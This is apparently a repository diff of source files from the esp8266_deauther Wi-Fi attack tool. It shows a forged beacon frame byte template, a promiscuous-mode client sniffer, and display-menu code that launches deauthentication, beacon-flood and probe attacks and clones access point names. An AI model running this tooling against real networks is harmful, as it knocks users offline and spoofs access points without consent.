/* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
/* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
// Fixed parameters
/* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK)
/* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp
/* 32 - 33 */ 0x64, 0x00, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s
/* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation
// Tagged parameters
// SSID parameters
/* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
/* 38 - 69 */ 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, // SSID
// Supported Rates
/* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8
/* 72 */ 0x82, // 1(B)
/* 73 */ 0x84, // 2(B)
/* 74 */ 0x8b, // 5.5(B)
/* 75 */ 0x96, // 11(B)
/* 76 */ 0x24, // 18
/* 77 */ 0x30, // 24
/* 78 */ 0x48, // 36
/* 79 */ 0x6c, // 54
// Current Channel
/* 80 - 81 */ 0x03, 0x01, // Channel set, length
/* 82 */ 0x01, // Current Channel
// RSN information
/* 83 - 84 */ 0x30, 0x18,
/* 85 - 86 */ 0x01, 0x00,
/* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02,
/* 91 - 92 */ 0x02, 0x00,
/* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x04, /*Fix: changed 0x02(TKIP) to 0x04(CCMP) is default. WPA2 with TKIP not supported by many devices*/
/* 101 - 102 */ 0x01, 0x00,
/* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02,
/* 107 - 108 */ 0x00, 0x00
};
};
#endif

File diff suppressed because it is too large Load Diff

View File

@ -1,89 +0,0 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#pragma once
#include "Arduino.h"
#include <ESP8266WiFi.h>
extern "C" {
#include "user_interface.h"
}
#include "language.h"
#include "A_config.h"
#include "SimpleList.h"
#include "Names.h"
#include "SSIDs.h"
#include "Scan.h"
#include "Attack.h"
#include "DisplayUI.h"
#include "led.h"
extern Names names;
extern SSIDs ssids;
extern Accesspoints accesspoints;
extern Stations stations;
extern Scan scan;
extern Attack attack;
extern DisplayUI displayUI;
extern uint32_t currentTime;
extern uint32_t autosaveTime;
extern String macToStr(const uint8_t* mac);
extern bool strToMac(String macStr, uint8_t* mac);
extern bool strToIP(String ipStr, uint8_t* ip);
extern void strToColor(String str, uint8_t* buf);
extern void readFileToSerial(String path, bool showLineNum);
extern bool readFile(String path, String& buf);
extern bool removeFile(String path);
extern bool copyFile(String pathFrom, String pathTo);
extern bool renameFile(String pathFrom, String pathTo);
extern bool appendFile(String path, String& buf);
extern bool removeLines(String path, int lineFrom, int lineTo);
extern bool replaceLine(String path, int line, String& buf);
extern bool equalsKeyword(const char* str, const char* keyword);
class CLI {
public:
CLI();
~CLI();
void load();
void load(String filepath);
void enable();
void disable();
void update();
void stop();
void enableDelay(uint32_t delayTime);
void exec(String input);
void execFile(String path);
void runLine(String input);
void runCommand(String input);
private:
bool enabled = false;
SimpleList<String>* list;
SimpleList<String>* queue;
bool delayed = false;
uint32_t delayTime = 0;
uint32_t delayStartTime = 0;
String execPath = "/autostart.txt";
struct Keyword {
const char* name;
const char* shortName;
const char* alt;
};
void error(String message);
void parameterError(String parameter);
bool isInt(String str);
int toInt(String str);
uint32_t getTime(String time);
bool eqlsCMD(int i, const char* keyword);
};

View File

@ -0,0 +1,237 @@
#include "ClientScan.h"
ClientScan::ClientScan() {
broadcast.set(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF);
zero.set(0x00, 0x00, 0x00, 0x00, 0x00, 0x00);
}
void ClientScan::clearList() {
clients._clear();
}
void ClientScan::start(int _time) {
Serial.println();
Serial.println("starting client scan");
clearList();
for (int i = 0; i < maxClientScanResults; i++) {
selected[i] = false;
packets[i] = 0;
}
for (int i = 0; i < 13; i++) channels[i] = 0;
results = 0;
timeout = _time;
sniffing = true;
channelsNum = 0;
curChannel = 0;
for (int i = 0; i < apScan.results; i++) {
if (apScan.isSelected(i)) {
if (!intInArray(apScan.getAPChannel(i), channels)) {
channels[channelsNum] = apScan.getAPChannel(i);
channelsNum++;
}
}
}
wifi_promiscuous_enable(0);
WiFi.disconnect();
wifi_set_opmode(STATION_MODE);
wifi_set_channel(channels[curChannel]);
wifi_promiscuous_enable(1);
if (debug) Serial.println("set channel to " + (String)channels[curChannel]);
curChannel++;
startTime = millis();
sniffing = true;
}
bool ClientScan::stop() {
long curTime = millis();
if (curTime - startTime >= (timeout * 1000) / channelsNum && curChannel < channelsNum) {
if (debug) Serial.println("changing to channel " + (String)channels[curChannel]);
wifi_set_channel(channels[curChannel]);
curChannel++;
}
else if (curTime - startTime >= timeout * 1000) {
sniffing = false;
wifi_promiscuous_enable(0);
Serial.println("stopping client scan after " + (String)(curTime - startTime) + "ms");
if (debug) {
for (int i = 0; i < results && i < maxClientScanResults; i++) {
Serial.print(i);
Serial.print(": ");
Serial.print(getClientPackets(i));
Serial.print(" ");
Serial.print(getClientVendor(i));
Serial.print(" ");
Serial.print(getClientMac(i).toString());
/*Serial.print(" ");
Serial.print(getClientSelected(i));*/
Serial.println();
}
}
return true;
}
return false;
}
int ClientScan::add(Mac adr){
int clientNum = clients.getNum(adr);
if (clientNum == -1 && results < maxClientScanResults) {
data_getVendor(adr._get(0), adr._get(1), adr._get(2)).toCharArray(vendors[results], 9);
connectedToAp[results] = -1;
results++;
int clientNum = clients.add(adr);
}
return clientNum;
}
void ClientScan::packetSniffer(uint8_t *buf, uint16_t len) {
if (sniffing && len > 27) {
from.set(buf[16], buf[17], buf[18], buf[19], buf[20], buf[21]);
to.set(buf[22], buf[23], buf[24], buf[25], buf[26], buf[27]);
for (int i = 0; i < apScan.results; i++) {
if (apScan.isSelected(i)) {
if (apScan.aps._get(i).compare(from) && !broadcast.compare(to)) {
int clientNum = add(to);
connectedToAp[clientNum] = i;
packets[clientNum]++;
if (clientNum == -1 && results < maxClientScanResults) {
if (debug) {
Serial.print("found: ");
from._print();
Serial.print(" => ");
to._print();
Serial.println("");
}
}
}
}
}
}
}
String ClientScan::getClientName(int num) {
return nameList.getByMac(getClientMac(num));
}
int ClientScan::getClientPackets(int num) {
return packets[clients.getNum(clients._get(num))];
}
String ClientScan::getClientVendor(int num) {
return vendors[num];
}
Mac ClientScan::getClientMac(int num) {
return clients._get(num);
}
int ClientScan::getClientConnectedAp(int num) {
return connectedToAp[num];
}
bool ClientScan::getClientSelected(int num) {
return selected[num];
}
int ClientScan::getFirstClient() {
for (int i = 0; i < maxClientScanResults; i++) {
if (getClientSelected(i)) return i;
}
return -1;
}
void ClientScan::select(int num) {
if(num < 0){
if(num == -1){
for(int i=0; i<results; i++){selected[i] = true;}
selectedResults = results;
} else {
for(int i=0; i<results; i++){selected[i] = false;}
selectedResults = 0;
}
} else {
selected[num] = !selected[num];
if (selected[num]) selectedResults++;
else selectedResults--;
}
}
size_t ClientScan::getSize(){
size_t jsonSize = 0;
String json = "{\"clients\":[";
jsonSize += json.length();
for (int i = 0; i < results && i < maxClientScanResults; i++) {
json = "{";
json += "\"i\":" + (String)i + ",";
json += "\"p\":" + (String)getClientPackets(i) + ",";
json += "\"m\":\"" + getClientMac(i).toString() + "\",";
json += "\"n\":\"" + (String)nameList.getByMac(getClientMac(i)) + "\",";
json += "\"l\":" + (String)nameList.getNumByMac(getClientMac(i)) + ",";
json += "\"v\":\"" + (String)getClientVendor(i) + "\",";
json += "\"s\":" + (String)getClientSelected(i) + ",";
if(getClientConnectedAp(i)>=0) json += "\"a\":\"" + (String)apScan.getAPName(getClientConnectedAp(i)) + "\"";
else json += "\"a\":\"?\"";
json += "}";
if ((i != results - 1) && (i != maxClientScanResults - 1)) json += ",";
jsonSize += json.length();
}
json = "],\"nameList\":[";
jsonSize += json.length();
for (int i = 0; i < nameList.len; i++) {
json = "{";
json += "\"n\":\"" + nameList.get(i) + "\",";
json += "\"m\":\"" + nameList.getMac(i).toString() + "\"";
//json += "\"v\":\"" + data_getVendor(nameList.getMac(i)._get(0), nameList.getMac(i)._get(1), nameList.getMac(i)._get(2)) + "\"";
json += "}";
if (i != nameList.len - 1) json += ",";
jsonSize += json.length();
}
jsonSize += 2;
return jsonSize;
}
void ClientScan::send() {
size_t _size = getSize();
sendHeader(200, "text/json", _size);
if (debug) Serial.println("getting settings json ("+(String)_size+")");
String json;
sendToBuffer("{\"clients\":[");
for (int i = 0; i < results && i < maxClientScanResults; i++) {
json = "{";
json += "\"i\":" + (String)i + ",";
json += "\"p\":" + (String)getClientPackets(i) + ",";
json += "\"m\":\"" + getClientMac(i).toString() + "\",";
json += "\"n\":\"" + (String)nameList.getByMac(getClientMac(i)) + "\",";
json += "\"l\":" + (String)nameList.getNumByMac(getClientMac(i)) + ",";
json += "\"v\":\"" + (String)getClientVendor(i) + "\",";
json += "\"s\":" + (String)getClientSelected(i) + ",";
if(getClientConnectedAp(i)>=0) json += "\"a\":\"" + (String)apScan.getAPName(getClientConnectedAp(i)) + "\"";
else json += "\"a\":\"?\"";
json += "}";
if ((i != results - 1) && (i != maxClientScanResults - 1)) json += ",";
sendToBuffer(json);
}
sendToBuffer("],\"nameList\":[");
for (int i = 0; i < nameList.len; i++) {
json = "{";
json += "\"n\":\"" + nameList.get(i) + "\",";
json += "\"m\":\"" + nameList.getMac(i).toString() + "\"";
//json += "\"v\":\"" + data_getVendor(nameList.getMac(i)._get(0), nameList.getMac(i)._get(1), nameList.getMac(i)._get(2)) + "\"";
json += "}";
if (i != nameList.len - 1) json += ",";
sendToBuffer(json);
}
sendToBuffer("]}");
sendBuffer();
if(debug) Serial.println("\ndone");
}

View File

@ -0,0 +1,71 @@
#ifndef ClientScan_h
#define ClientScan_h
#define maxClientScanResults 40
#include <ESP8266WiFi.h>
#include "Mac.h"
#include "MacList.h"
#include "APScan.h"
#include "NameList.h"
extern "C" {
#include "user_interface.h"
}
extern APScan apScan;
extern NameList nameList;
extern String data_getVendor(uint8_t first, uint8_t second, uint8_t third);
extern bool intInArray(int num, int _array[]);
extern void PrintHex8(uint8_t *data, uint8_t length);
extern const bool debug;
class ClientScan {
public:
ClientScan();
void start(int _time);
void clearList();
bool stop();
void packetSniffer(uint8_t *buf, uint16_t len);
int add(Mac adr);
void send();
void select(int num);
String getClientName(int num);
int getClientPackets(int num);
String getClientVendor(int num);
Mac getClientMac(int num);
bool getClientSelected(int num);
int getClientConnectedAp(int num);
int getFirstClient();
int results = 0;
int selectedResults = 0;
int timeout = 0;
bool sniffing = false;
private:
size_t getSize();
long startTime = 0;
Mac from;
Mac to;
Mac broadcast;
Mac zero;
MacList clients;
char vendors[maxClientScanResults][9];
int packets[maxClientScanResults];
bool selected[maxClientScanResults];
int connectedToAp[maxClientScanResults];
int channels[13];
int channelsNum = 0;
int curChannel = 0;
};
#endif

View File

@ -1,941 +0,0 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#include "DisplayUI.h"
#include "settings.h"
// ===== adjustable ===== //
void DisplayUI::configInit() {
// initialize display
display.init();
/*
In case of a compiler (conversion char/uint8_t) error,
make sure to have version 4 of the display library installed
https://github.com/ThingPulse/esp8266-oled-ssd1306/releases/tag/4.0.0
*/
display.setFont(DejaVu_Sans_Mono_12);
display.setContrast(255);
if (FLIP_DIPLAY) display.flipScreenVertically();
display.clear();
display.display();
}
void DisplayUI::configOn() {
display.displayOn();
}
void DisplayUI::configOff() {
display.displayOff();
}
void DisplayUI::updatePrefix() {
display.clear();
}
void DisplayUI::updateSuffix() {
display.display();
}
void DisplayUI::drawString(int x, int y, String str) {
display.drawString(x, y, replaceUtf8(str, String(QUESTIONMARK)));
}
void DisplayUI::drawString(int row, String str) {
drawString(0, row * lineHeight, str);
}
void DisplayUI::drawLine(int x1, int y1, int x2, int y2) {
display.drawLine(x1, y1, x2, y2);
}
// ====================== //
DisplayUI::DisplayUI() {}
DisplayUI::~DisplayUI() {}
void DisplayUI::setup() {
configInit();
setupButtons();
buttonTime = currentTime;
#ifdef RTC_DS3231
bool h12;
bool PM_time;
clock.setClockMode(false);
clockHour = clock.getHour(h12, PM_time);
clockMinute = clock.getMinute();
#else // ifdef RTC_DS3231
clockHour = random(12);
clockMinute = random(60);
#endif // ifdef RTC_DS3231
// ===== MENUS ===== //
// MAIN MENU
createMenu(&mainMenu, NULL, [this]() {
addMenuNode(&mainMenu, D_SCAN, &scanMenu); /// SCAN
addMenuNode(&mainMenu, D_SHOW, &showMenu); // SHOW
addMenuNode(&mainMenu, D_ATTACK, &attackMenu); // ATTACK
addMenuNode(&mainMenu, D_PACKET_MONITOR, [this]() { // PACKET MONITOR
scan.start(SCAN_MODE_SNIFFER, 0, SCAN_MODE_OFF, 0, false, wifi_channel);
mode = DISPLAY_MODE::PACKETMONITOR;
});
addMenuNode(&mainMenu, D_CLOCK, &clockMenu); // CLOCK
#ifdef HIGHLIGHT_LED
addMenuNode(&mainMenu, D_LED, [this]() { // LED
highlightLED = !highlightLED;
digitalWrite(HIGHLIGHT_LED, highlightLED);
});
#endif // ifdef HIGHLIGHT_LED
});
// SCAN MENU
createMenu(&scanMenu, &mainMenu, [this]() {
addMenuNode(&scanMenu, D_SCAN_APST, [this]() { // SCAN AP + ST
scan.start(SCAN_MODE_ALL, 15000, SCAN_MODE_OFF, 0, true, wifi_channel);
mode = DISPLAY_MODE::LOADSCAN;
});
addMenuNode(&scanMenu, D_SCAN_AP, [this]() { // SCAN AP
scan.start(SCAN_MODE_APS, 0, SCAN_MODE_OFF, 0, true, wifi_channel);
mode = DISPLAY_MODE::LOADSCAN;
});
addMenuNode(&scanMenu, D_SCAN_ST, [this]() { // SCAN ST
scan.start(SCAN_MODE_STATIONS, 30000, SCAN_MODE_OFF, 0, true, wifi_channel);
mode = DISPLAY_MODE::LOADSCAN;
});
});
// SHOW MENU
createMenu(&showMenu, &mainMenu, [this]() {
addMenuNode(&showMenu, [this]() { // Accesspoints 0 [0]
return leftRight(str(D_ACCESSPOINTS), (String)accesspoints.count(), maxLen - 1);
}, &apListMenu);
addMenuNode(&showMenu, [this]() { // Stations 0 [0]
return leftRight(str(D_STATIONS), (String)stations.count(), maxLen - 1);
}, &stationListMenu);
addMenuNode(&showMenu, [this]() { // Names 0 [0]
return leftRight(str(D_NAMES), (String)names.count(), maxLen - 1);
}, &nameListMenu);
addMenuNode(&showMenu, [this]() { // SSIDs 0
return leftRight(str(D_SSIDS), (String)ssids.count(), maxLen - 1);
}, &ssidListMenu);
});
// AP LIST MENU
createMenu(&apListMenu, &showMenu, [this]() {
// add APs to list
int c = accesspoints.count();
for (int i = 0; i < c; i++) {
addMenuNode(&apListMenu, [i]() {
return b2a(accesspoints.getSelected(i)) + accesspoints.getSSID(i);
}, [this, i]() {
accesspoints.getSelected(i) ? accesspoints.deselect(i) : accesspoints.select(i);
}, [this, i]() {
selectedID = i;
changeMenu(&apMenu);
});
}
addMenuNode(&apListMenu, D_SELECT_ALL, [this]() { // SELECT ALL
accesspoints.selectAll();
changeMenu(&apListMenu);
});
addMenuNode(&apListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL
accesspoints.deselectAll();
changeMenu(&apListMenu);
});
addMenuNode(&apListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL
accesspoints.removeAll();
goBack();
});
});
// STATION LIST MENU
createMenu(&stationListMenu, &showMenu, [this]() {
// add stations to list
int c = stations.count();
for (int i = 0; i < c; i++) {
addMenuNode(&stationListMenu, [i]() {
return b2a(stations.getSelected(i)) +
(stations.hasName(i) ? stations.getNameStr(i) : stations.getMacVendorStr(i));
}, [this, i]() {
stations.getSelected(i) ? stations.deselect(i) : stations.select(i);
}, [this, i]() {
selectedID = i;
changeMenu(&stationMenu);
});
}
addMenuNode(&stationListMenu, D_SELECT_ALL, [this]() { // SELECT ALL
stations.selectAll();
changeMenu(&stationListMenu);
});
addMenuNode(&stationListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL
stations.deselectAll();
changeMenu(&stationListMenu);
});
addMenuNode(&stationListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL
stations.removeAll();
goBack();
});
});
// NAME LIST MENU
createMenu(&nameListMenu, &showMenu, [this]() {
// add device names to list
int c = names.count();
for (int i = 0; i < c; i++) {
addMenuNode(&nameListMenu, [i]() {
return names.getSelectedStr(i) + names.getName(i);
}, [this, i]() {
names.getSelected(i) ? names.deselect(i) : names.select(i);
}, [this, i]() {
selectedID = i;
changeMenu(&nameMenu);
});
}
addMenuNode(&nameListMenu, D_SELECT_ALL, [this]() { // SELECT ALL
names.selectAll();
changeMenu(&nameListMenu);
});
addMenuNode(&nameListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL
names.deselectAll();
changeMenu(&nameListMenu);
});
addMenuNode(&nameListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL
names.removeAll();
goBack();
});
});
// SSID LIST MENU
createMenu(&ssidListMenu, &showMenu, [this]() {
addMenuNode(&ssidListMenu, D_CLONE_APS, [this]() { // CLONE APs
ssids.cloneSelected(true);
changeMenu(&ssidListMenu);
ssids.save(false);
});
addMenuNode(&ssidListMenu, [this]() {
return b2a(ssids.getRandom()) + str(D_RANDOM_MODE); // *RANDOM MODE
}, [this]() {
if (ssids.getRandom()) ssids.disableRandom();
else ssids.enableRandom(10);
changeMenu(&ssidListMenu);
});
// add ssids to list
int c = ssids.count();
for (int i = 0; i < c; i++) {
addMenuNode(&ssidListMenu, [i]() {
return ssids.getName(i).substring(0, ssids.getLen(i));
}, [this, i]() {
selectedID = i;
changeMenu(&ssidMenu);
}, [this, i]() {
ssids.remove(i);
changeMenu(&ssidListMenu);
ssidListMenu.selected = i;
});
}
addMenuNode(&ssidListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL
ssids.removeAll();
goBack();
});
});
// AP MENU
createMenu(&apMenu, &apListMenu, [this]() {
addMenuNode(&apMenu, [this]() {
return accesspoints.getSelectedStr(selectedID) + accesspoints.getSSID(selectedID); // *<ssid>
}, [this]() {
accesspoints.getSelected(selectedID) ? accesspoints.deselect(selectedID) : accesspoints.select(selectedID);
});
addMenuNode(&apMenu, [this]() {
return str(D_ENCRYPTION) + accesspoints.getEncStr(selectedID);
}, NULL); // Encryption: -/WPA2
addMenuNode(&apMenu, [this]() {
return str(D_RSSI) + (String)accesspoints.getRSSI(selectedID);
}, NULL); // RSSI: -90
addMenuNode(&apMenu, [this]() {
return str(D_CHANNEL) + (String)accesspoints.getCh(selectedID);
}, NULL); // Channel: 11
addMenuNode(&apMenu, [this]() {
return accesspoints.getMacStr(selectedID);
}, NULL); // 00:11:22:00:11:22
addMenuNode(&apMenu, [this]() {
return str(D_VENDOR) + accesspoints.getVendorStr(selectedID);
}, NULL); // Vendor: INTEL
addMenuNode(&apMenu, [this]() {
return accesspoints.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT
}, [this]() {
accesspoints.getSelected(selectedID) ? accesspoints.deselect(selectedID) : accesspoints.select(selectedID);
});
addMenuNode(&apMenu, D_CLONE, [this]() { // CLONE
ssids.add(accesspoints.getSSID(selectedID), accesspoints.getEnc(selectedID) != ENC_TYPE_NONE, 60, true);
changeMenu(&showMenu);
ssids.save(false);
});
addMenuNode(&apMenu, D_REMOVE, [this]() { // REMOVE
accesspoints.remove(selectedID);
apListMenu.list->remove(apListMenu.selected);
goBack();
});
});
// STATION MENU
createMenu(&stationMenu, &stationListMenu, [this]() {
addMenuNode(&stationMenu, [this]() {
return stations.getSelectedStr(selectedID) +
(stations.hasName(selectedID) ? stations.getNameStr(selectedID) : stations.getMacVendorStr(selectedID)); // <station
// name>
}, [this]() {
stations.getSelected(selectedID) ? stations.deselect(selectedID) : stations.select(selectedID);
});
addMenuNode(&stationMenu, [this]() {
return stations.getMacStr(selectedID);
}, NULL); // 00:11:22:00:11:22
addMenuNode(&stationMenu, [this]() {
return str(D_VENDOR) + stations.getVendorStr(selectedID);
}, NULL); // Vendor: INTEL
addMenuNode(&stationMenu, [this]() {
return str(D_AP) + stations.getAPStr(selectedID); // AP: someAP
}, [this]() {
int apID = accesspoints.find(stations.getAP(selectedID));
if (apID >= 0) {
selectedID = apID;
changeMenu(&apMenu);
}
});
addMenuNode(&stationMenu, [this]() {
return str(D_PKTS) + String(*stations.getPkts(selectedID));
}, NULL); // Pkts: 12
addMenuNode(&stationMenu, [this]() {
return str(D_CHANNEL) + String(stations.getCh(selectedID));
}, NULL); // Channel: 11
addMenuNode(&stationMenu, [this]() {
return str(D_SEEN) + stations.getTimeStr(selectedID);
}, NULL); // Seen: <1min
addMenuNode(&stationMenu, [this]() {
return stations.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT
}, [this]() {
stations.getSelected(selectedID) ? stations.deselect(selectedID) : stations.select(selectedID);
});
addMenuNode(&stationMenu, D_REMOVE, [this]() { // REMOVE
stations.remove(selectedID);
stationListMenu.list->remove(stationListMenu.selected);
goBack();
});
});
// NAME MENU
createMenu(&nameMenu, &nameListMenu, [this]() {
addMenuNode(&nameMenu, [this]() {
return names.getSelectedStr(selectedID) + names.getName(selectedID); // <station name>
}, [this]() {
names.getSelected(selectedID) ? names.deselect(selectedID) : names.select(selectedID);
});
addMenuNode(&nameMenu, [this]() {
return names.getMacStr(selectedID);
}, NULL); // 00:11:22:00:11:22
addMenuNode(&nameMenu, [this]() {
return str(D_VENDOR) + names.getVendorStr(selectedID);
}, NULL); // Vendor: INTEL
addMenuNode(&nameMenu, [this]() {
return str(D_AP) + names.getBssidStr(selectedID);
}, NULL); // AP: 00:11:22:00:11:22
addMenuNode(&nameMenu, [this]() {
return str(D_CHANNEL) + (String)names.getCh(selectedID);
}, NULL); // Channel: 11
addMenuNode(&nameMenu, [this]() {
return names.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT
}, [this]() {
names.getSelected(selectedID) ? names.deselect(selectedID) : names.select(selectedID);
});
addMenuNode(&nameMenu, D_REMOVE, [this]() { // REMOVE
names.remove(selectedID);
nameListMenu.list->remove(nameListMenu.selected);
goBack();
});
});
// SSID MENU
createMenu(&ssidMenu, &ssidListMenu, [this]() {
addMenuNode(&ssidMenu, [this]() {
return ssids.getName(selectedID).substring(0, ssids.getLen(selectedID));
}, NULL); // SSID
addMenuNode(&ssidMenu, [this]() {
return str(D_ENCRYPTION) + ssids.getEncStr(selectedID); // WPA2
}, [this]() {
ssids.setWPA2(selectedID, !ssids.getWPA2(selectedID));
});
addMenuNode(&ssidMenu, D_REMOVE, [this]() { // REMOVE
ssids.remove(selectedID);
ssidListMenu.list->remove(ssidListMenu.selected);
goBack();
});
});
// ATTACK MENU
createMenu(&attackMenu, &mainMenu, [this]() {
addMenuNode(&attackMenu, [this]() { // *DEAUTH 0/0
if (attack.isRunning()) return leftRight(b2a(deauthSelected) + str(D_DEAUTH),
(String)attack.getDeauthPkts() + SLASH +
(String)attack.getDeauthMaxPkts(), maxLen - 1);
else return leftRight(b2a(deauthSelected) + str(D_DEAUTH), (String)scan.countSelected(), maxLen - 1);
}, [this]() { // deauth
deauthSelected = !deauthSelected;
if (attack.isRunning()) {
attack.start(beaconSelected, deauthSelected, false, probeSelected, true,
settings::getAttackSettings().timeout * 1000);
}
});
addMenuNode(&attackMenu, [this]() { // *BEACON 0/0
if (attack.isRunning()) return leftRight(b2a(beaconSelected) + str(D_BEACON),
(String)attack.getBeaconPkts() + SLASH +
(String)attack.getBeaconMaxPkts(), maxLen - 1);
else return leftRight(b2a(beaconSelected) + str(D_BEACON), (String)ssids.count(), maxLen - 1);
}, [this]() { // beacon
beaconSelected = !beaconSelected;
if (attack.isRunning()) {
attack.start(beaconSelected, deauthSelected, false, probeSelected, true,
settings::getAttackSettings().timeout * 1000);
}
});
addMenuNode(&attackMenu, [this]() { // *PROBE 0/0
if (attack.isRunning()) return leftRight(b2a(probeSelected) + str(D_PROBE),
(String)attack.getProbePkts() + SLASH +
(String)attack.getProbeMaxPkts(), maxLen - 1);
else return leftRight(b2a(probeSelected) + str(D_PROBE), (String)ssids.count(), maxLen - 1);
}, [this]() { // probe
probeSelected = !probeSelected;
if (attack.isRunning()) {
attack.start(beaconSelected, deauthSelected, false, probeSelected, true,
settings::getAttackSettings().timeout * 1000);
}
});
addMenuNode(&attackMenu, [this]() { // START
return leftRight(str(attack.isRunning() ? D_STOP_ATTACK : D_START_ATTACK),
attack.getPacketRate() > 0 ? (String)attack.getPacketRate() : String(), maxLen - 1);
}, [this]() {
if (attack.isRunning()) attack.stop();
else attack.start(beaconSelected, deauthSelected, false, probeSelected, true,
settings::getAttackSettings().timeout * 1000);
});
});
// CLOCK MENU
createMenu(&clockMenu, &mainMenu, [this]() {
addMenuNode(&clockMenu, D_CLOCK_DISPLAY, [this]() { // CLOCK
mode = DISPLAY_MODE::CLOCK_DISPLAY;
display.setFont(ArialMT_Plain_24);
display.setTextAlignment(TEXT_ALIGN_CENTER);
});
addMenuNode(&clockMenu, D_CLOCK_SET, [this]() { // CLOCK SET TIME
mode = DISPLAY_MODE::CLOCK;
display.setFont(ArialMT_Plain_24);
display.setTextAlignment(TEXT_ALIGN_CENTER);
});
});
// ===================== //
// set current menu to main menu
changeMenu(&mainMenu);
enabled = true;
startTime = currentTime;
}
#ifdef HIGHLIGHT_LED
void DisplayUI::setupLED() {
pinMode(HIGHLIGHT_LED, OUTPUT);
digitalWrite(HIGHLIGHT_LED, HIGH);
highlightLED = true;
}
#endif // ifdef HIGHLIGHT_LED
void DisplayUI::update(bool force) {
if (!enabled) return;
up->update();
down->update();
a->update();
b->update();
draw(force);
uint32_t timeout = settings::getDisplaySettings().timeout * 1000;
if (currentTime > timeout) {
if (!tempOff) {
if (buttonTime < currentTime - timeout) off();
} else {
if (buttonTime > currentTime - timeout) on();
}
}
}
void DisplayUI::on() {
if (enabled) {
configOn();
tempOff = false;
buttonTime = currentTime; // update a button time to keep display on
prntln(D_MSG_DISPLAY_ON);
} else {
prntln(D_ERROR_NOT_ENABLED);
}
}
void DisplayUI::off() {
if (enabled) {
configOff();
tempOff = true;
prntln(D_MSG_DISPLAY_OFF);
} else {
prntln(D_ERROR_NOT_ENABLED);
}
}
void DisplayUI::setupButtons() {
up = new ButtonPullup(BUTTON_UP);
down = new ButtonPullup(BUTTON_DOWN);
a = new ButtonPullup(BUTTON_A);
b = new ButtonPullup(BUTTON_B);
// === BUTTON UP === //
up->setOnClicked([this]() {
scrollCounter = 0;
scrollTime = currentTime;
buttonTime = currentTime;
if (!tempOff) {
if (mode == DISPLAY_MODE::MENU) { // when in menu, go up or down with cursor
if (currentMenu->selected > 0) currentMenu->selected--;
else currentMenu->selected = currentMenu->list->size() - 1;
} else if (mode == DISPLAY_MODE::PACKETMONITOR) { // when in packet monitor, change channel
scan.setChannel(wifi_channel + 1);
} else if (mode == DISPLAY_MODE::CLOCK) { // when in clock, change time
setTime(clockHour, clockMinute + 1, clockSecond);
}
}
});
up->setOnHolding([this]() {
scrollCounter = 0;
scrollTime = currentTime;
buttonTime = currentTime;
if (!tempOff) {
if (mode == DISPLAY_MODE::MENU) { // when in menu, go up or down with cursor
if (currentMenu->selected > 0) currentMenu->selected--;
else currentMenu->selected = currentMenu->list->size() - 1;
} else if (mode == DISPLAY_MODE::PACKETMONITOR) { // when in packet monitor, change channel
scan.setChannel(wifi_channel + 1);
} else if (mode == DISPLAY_MODE::CLOCK) { // when in clock, change time
setTime(clockHour, clockMinute + 10, clockSecond);
}
}
}, buttonDelay);
// === BUTTON DOWN === //
down->setOnClicked([this]() {
scrollCounter = 0;
scrollTime = currentTime;
buttonTime = currentTime;
if (!tempOff) {
if (mode == DISPLAY_MODE::MENU) { // when in menu, go up or down with cursor
if (currentMenu->selected < currentMenu->list->size() - 1) currentMenu->selected++;
else currentMenu->selected = 0;
} else if (mode == DISPLAY_MODE::PACKETMONITOR) { // when in packet monitor, change channel
scan.setChannel(wifi_channel - 1);
} else if (mode == DISPLAY_MODE::CLOCK) { // when in clock, change time
setTime(clockHour, clockMinute - 1, clockSecond);
}
}
});
down->setOnHolding([this]() {
scrollCounter = 0;
scrollTime = currentTime;
buttonTime = currentTime;
if (!tempOff) {
if (mode == DISPLAY_MODE::MENU) { // when in menu, go up or down with cursor
if (currentMenu->selected < currentMenu->list->size() - 1) currentMenu->selected++;
else currentMenu->selected = 0;
} else if (mode == DISPLAY_MODE::PACKETMONITOR) { // when in packet monitor, change channel
scan.setChannel(wifi_channel - 1);
}
else if (mode == DISPLAY_MODE::CLOCK) { // when in clock, change time
setTime(clockHour, clockMinute - 10, clockSecond);
}
}
}, buttonDelay);
// === BUTTON A === //
a->setOnClicked([this]() {
scrollCounter = 0;
scrollTime = currentTime;
buttonTime = currentTime;
if (!tempOff) {
switch (mode) {
case DISPLAY_MODE::MENU:
if (currentMenu->list->get(currentMenu->selected).click) {
currentMenu->list->get(currentMenu->selected).click();
}
break;
case DISPLAY_MODE::PACKETMONITOR:
case DISPLAY_MODE::LOADSCAN:
scan.stop();
mode = DISPLAY_MODE::MENU;
break;
case DISPLAY_MODE::CLOCK:
case DISPLAY_MODE::CLOCK_DISPLAY:
